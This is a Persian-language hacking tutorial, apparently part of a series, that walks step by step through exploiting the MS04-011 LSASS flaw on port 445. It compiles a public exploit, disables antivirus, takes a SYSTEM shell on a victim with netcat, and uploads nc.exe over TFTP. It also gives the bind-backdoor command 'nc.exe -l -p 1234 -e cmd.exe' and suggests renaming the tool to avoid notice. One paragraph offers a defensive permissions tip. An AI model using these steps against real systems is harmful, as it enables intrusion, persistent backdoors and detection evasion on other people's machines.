همونطور كه مشخص هست ، اين باگ معروف LSASS هست كه روي سرويس NetBIOS Over TCP مايكروسافت ،روي پورت 445 وجود داره . اين گزارش ميگه كه توسط اين باگ ميشه يك كد رو از راه دور روي سيستم قرباني اجرا كرد و دسترسي SYSTEM گرفت .
همين جا من يك نكته ي امنيتي خيلي ريز و خيلي خيلي مهم رو بگم كه اگر شما اون رو رعايت كنيد ، تقريباً 99 درصد از اكسپلويت هايي كه از باگهاي سيستم عامل و سرويس هاي اون ، مثل اين باگ ، و باگهايي كه هنوز كشف نشده ، استفاده ميكنند ، در گرفتن دسترسي روي سيستم هدف شكست ميخورند . ( قابل توجه worm نويسها كه از اين باگها براي طراحي worm استفاده مي كنند )
در مقاله اي كه در مورد ايمن كردن ويندوزهاي سرور در همين سايت ارائه شده ، به حدود 20 تا فايل اجرايي مهم اشاره شده كه بايد دسترسي اجرا رو به اونها ، فقط و فقط به administrator داد . اين فايلها به طور پيش فرض ، دسترسي براي اكانت system هم دارند كه بايد حذف بشه . يكي از اين فايلهاي مهم ، cmd.exe هست . اين اكسپلويت ها از شل كد استفاده مي كنند و همونطور كه در درسهاي شل كد نويسي اشاره كرديم ، شل كد بايد در انتها فايل cmd.exe رو اجرا و اون رو روي پورتي كه باز كرده bind كنه ، و چون اكثر سرويسها در ويندوز با اكانت SYSTEM اجرا ميشن ، شل كد نمي تونه فايل cmd.exe رو كه اين اكانت به اون دسترسي نداره رو اجرا كنه و نهايتاً باعث ميشه كه اكسپلويت fail بشه . به همين راحتي با يك permission بندي درست ، سيستم شما تا حد خيلي زيادي safe ميشه .
خب ، برگرديم به تحليل گزارش . چيزي كه براي ما مهم هست ، بخش انتهايي گزارش هست كه Risk Factor رو توضيح داده . اين باگ از نوع بحراني تشخيص داده شده و بر اساس استاندارد امتياز دهي به باگهاي امنيتي (CVSS) ، امتياز 10 رو گرفته . حروف مخففي هم كه در زير اين امتياز دهي در داخل پرانتز نوشته شده ، مربوط به همين سيستم امتياز دهي هست كه جزييات و معاني اون ها رو ميتونيد در آدرس http://nvd.nist.gov/cvss.cfm?calculator&adv&version=2 ببينيد . ما اينجا به شماره CVE يا BID كه همون bugID هست ، احتياج داريم . به وسيله ي يكي از اين 2 آيتم ، به آدرس http://www.securityfocus.com/bid/10108 ميريم و وارد صفحه ي مربوط exploit ميشيم . همونطور كه مي بينيد ، ما اينجا 4 تا اكسپلويت داريم كه 3 تاي اونها كدهاي C هستند و آخري ماژول پرل براي metasploit . معمولاً در چنين شرايطي ، من اكسپلويت مربوط به metasploit رو انتخاب مي كنم ، اما اينجا ، براي اينكه كدهاي C عموميت بيشتري دارند ، اكسپلويت ديگه اي رو انتخاب مي كنيم .
اكسپلويت HOD-ms04011-lsasrv-expl.c انتخاب مي كنيم . با كليك روي لينك اون ، كد نمايش داده ميشه . توضيحات كد و نحوه ي استفاده از اون كاملاً مناسب به نظر ميرسه ، ضمن اينكه نويسنده اظهار كرده كه روي هدف مورد نظر ما هم اون رو تست كرده . بنابرين VS C++ 6 رو اجرا ميكنيم ، يك فايل سورس C جديد باز مي كنيم و محتواي اكسپلويت رو copy & paste مي كنيم داخل فايل جديد . از منوي Build ، گزينه Compile رو انتخاب مي كنيم و فايل رو با يك اسم ، مثلاً hod.c ذخيره مي كنيم . در سيستم ما ، عمل كامپايل بدون خطا و با 5 اخطار (Warning) انجام شد كه اخطار ها قابل اغماض هستند ، مگر اينكه در هنگام ساخت فايل اجرايي باعث مشكل بشن . بنابرين از منوي build گزينه build رو انتخاب مي كنيم تا فايل اجرايي با اسم hod.exe ساخته بشه . فايل بدون مشكل ساخته ميشه . فقط بايد دقت كنيد كه آنتي ويروس ما به محض ساخته شدن فايل اجرايي ، اون رو ويروس تشخيص داد و حذفش كرد ، بنابرين بايد Auto – Protect آنتي ويروس رو غير فعال كنيد .
حالا اكسپلويت رو اجرا مي كنيم . شكل زير رو ببينيد .
اين اكسپلويت ، يك اكسپلويت جالب هست . همونطور كه در Usage و توضيحات اون اومده ، ميشه اون رو به دو شكل مستقيم و معكوس استفاده كرد . براي جلسه ي اول ، ما از روش مستقيم استفاده كرديم . در شكل بالا ، طبق توضيح نويسنده ي كد ، ما از عدد صفر براي Targets كه xp هست استفاده كرديم . آدرس ip هدف يا قرباني هم 192.168.0.10 هست و پورتي كه مي خوايم روي سيستم هدف باز بشه و از طريق اون شل بگيريم هم 4444 انتخاب كرديم . اگر حمله بدون مشكل انجام بشه ، خروجي اكسپلويت به شكل بالا خواهد بود و تا گرفتن دسترسي به همون شكل باقي ميمونه ( كنترل به سيستم عامل بر نمي گرده )
در اين حالت ، ما يك ترمينال ديگه باز مي كنيم و با استفاده از netcat ، روي پورت 4444 به سيستم هدف وصل شده و شل مي گيريم . بعد از گرفتن شل ، مسئله ي اصلي اين هست كه قصد داريم چه كاري انجام بديم . چون در اين سري از مقالات قصد ما آموزش هست ، بنابرين تمام كارهايي كه به ذهنمون ميرسه يا بلد هستيم رو انجام ميديم ، اما در حالت واقعي ، بايد يك مسير درست و منطبق با شرايط رو انتخاب كرد .
خيلي از مسيرها ، براي انجام ، احتياج به اين داره كه ما بتونيم روي سيستم هدف فايل upload يا از روي اون download كنيم . براي همين بايد اول بفهميم كه چطور بايد اين كار رو انجام بديم . در اين جلسه ما آسون ترين راه روي سيستم هاي ويندوز ، يعني استفاده از tftp رو بررسي مي كنيم و در درسهاي بعد ، روشهاي ديگه رو كار مي كنيم .
براي انجام اين كار ابتدا بايد يك tftp سرور روي سيستم خودمون اجرا كنيم . ما از TFTPD32.EXE استفاده كرديم . بعد از اجرا ، بايد security اون رو روي none تنظيم كنيم.
بهتره فايلي رو هم كه ميخوايم uoload كنيم ، در همون فولدري باشه كه tftpd32.exe رو از اونجا اجرا كرديم .
استفاده از tftp.exe ، در سه صورت با شكست مواجه ميشه . اول اين كه مجوز اجرا براي اين فايل ، مثل cmd.exe ، فقط براي administrator تنظيم شده باشه . ما هنوز دسترسي در حد SYSTEM داريم . دوم اين فايل ، اصلاً روي سيستم هدف وجود نداشته باشه و سوم اينكه يك فايرول ، ارتباط روي پورت 69 udp رو ********** كنه .
حالا با فرض اين كه هيچ مشكلي وجود نداره ، مطابق شكل زير ، فايل nc.exe رو روي سيستم قرباني upload مي كنيم . نكته اي كه وجود داره اينه كه بايد nc.exe رو قبل از ارسال rename كنيم ، طوري كه تابلو نباشه . كه البته در اينجا براي ساده بودن ، اين كارو نكرديم .
بعد از ارسال nc.exe روي سيستم هدف ، بايد اون رو به صورت backdoor اجرا كنيم . در اين مورد به اندازه ي كافي مقاله آموزشي به زبان فارسي وجود داره و احتياج به توضيح نداره ، فقط من 2 تا نكته كه در جايي نديدم به اون اشاره بشه و خيلي مهم هم هست رو توضيح ميدم . تا اونجا كه من ديدم ، همه ميگن كه netcat در حالت backdoor ، بايد به شكل زير اجرا بشه :
nc.exe -l -p 1234 –e cmd.exe
اين حالت اجرا ، اگرچه كه يك backdoor روي پورت 1234 tcp روي هدف ايجاد ميكنه ، اما 2 تا ايراد بزرگ داره .
اونايي كه دوست دارند مطالب رو عمقي و كاربردي تر ياد بگيرند ، چند روزي فرصت دارند تا در اين مورد فكر كنند و بگن كه اين backdoor چه ايرادهايي داره